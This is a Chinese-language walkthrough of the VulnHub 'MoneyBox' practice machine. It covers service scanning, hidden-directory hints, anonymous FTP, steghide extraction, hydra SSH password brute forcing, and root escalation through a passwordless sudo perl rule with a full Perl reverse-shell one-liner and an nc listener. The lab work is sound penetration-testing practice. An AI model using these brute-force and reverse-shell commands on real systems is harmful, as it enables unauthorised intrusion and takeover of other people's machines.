vulnhub-MoneyBox
MoneyBox
渗透测试日常练习
0x01 信息收集
一、主机扫描
kali有很多工具可以扫描存活主机,像fping,我这里偷一下懒,用nmap直接扫。
扫到一个 192.168.56.102 的主机,开启 80,21,22端口。先来访问一下 80 端口吧。
页面上没什么可用信息,继续信息收集。
二、遍历目录
[14:29:07] 301 - 316B - /blogs -> http://192.168.56.102/blogs/
这里扫到了一个 blogs
目录,访问看看。
页面还是没什么信息,右键源代码看看。看到最下面有一句话
<!--the hint is the another secret directory is S3cr3t-T3xt-->
hint说的是有一个 S3cr3t-T3xt
目录。
同样的访问后右键源代码,最下面有一句话
<!..Secret Key 3xtr4ctd4t4 >
这里告诉了我们一个密钥是 3xtr4ctd4t4
,暂时不知道是干嘛的,先放着。
页面到这就没什么可以收集的了。
三、FTP登录
上面 nmap 扫出来的还有一个 21 端口,于是直接使用 ftp 匿名登录就可以了。
登录成功,目录下有一个 trytofind.jpg ,下载下来看看。
get trytofind.jpg
0x02 图片隐写
根据前面获取到的密钥,这里可以猜测是图片隐写,最常见的是 steghide
。
尝试一下
steghide --extract -sf trytofind.jpg -p 3xtr4ctd4t4
在当前目录生成了一个 data.txt 文件,内容如下
Hello..... renu
I tell you something Important.Your Password is too Week So Change Your Password
Don't Underestimate it.......
从这里可以收集到这台主机的其中一个用户名是 renu。不知道密码,但是他又说密码很弱,于是应该可以尝试爆破一下。
0x03 密码爆破
密码爆破工具最常用的是 hydra
。
hydra -l renu -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.102
rockyou.txt
是kali自带的字典,需要解压一下。
[22][ssh] host: 192.168.56.102 login: renu password: 987654321
这里也是很快就把密码爆破出来了。
0x04 RENU登录
账户密码都知道了,登录下试试。
成功登录!这里也是拿到了第一个 flag
0x05 LILY登录
执行 cat /etc/passwd
看看还有其他账户没
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
lily:x:1000:1000:lily,,,:/home/lily:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ftp:x:104:111:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
renu:x:1001:1001::/home/renu:/bin/bash
messagebus:x:105:112::/nonexistent:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
可以看到还有一个 lily
用户,但是不知道密码。这里也是浪费了很多时间在找密码,最后看到了一个文件存放着历史命令
ssh-keygen -t rsa
clear
cd .ssh
ls
ssh-copy-id lily@192.168.43.80
clear
cd
cd -
ls -l
chmod 400 id_rsa
ls -l
ssh -i id_rsa lily@192.168.43.80
clear
ssh -i id_rsa lily@192.168.43.80
cd
clear
cd .ssh/
ls
ssh -i id_rsa lily@192.168.43.80
su lily
clear
cd
sudo apt install openssh
sudo apt update
sudo apt install openssh-server
sudo service ssh start
sudo service ssh status
这里看着像远程连接 192.168.43.80
这台主机上的 lily
,但是现在没有 192.168.43.80
这台主机啊,于是猜测如果 192.168.43.80
是原本这台主机的 ip 的话,那么不就可以直接用 ssh lily@127.0.0.1
本地连接。尝试一下
ok,成功登录!在 /home/lily 目录下找到了第二个 flag。
0x06 提升权限
sudo -l
查看账户情况
这里的 perl
命令是可以以 root 账户来执行,而且不需要密码。perl 能执行什么命令啊?之前学过 perl 的反弹 shell,于是尝试反弹 shell。
sudo perl -e 'use Socket;$i="[ip]";$p=[port];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
再开启一个终端执行监听
nc -lvvp 2333
注意:前面要加 sudo 来执行。
成功登录 root 账户。
flag 在 /root/ 下,是一个隐藏文件: .root.txt
0x07 总结
flag 如下:
us3r1{F14g:0ku74tbd3777y4}
us3r{F14g:tr5827r5wu6nklao}
r00t{H4ckth3p14n3t}
这台主机不难,最重要的还是细心。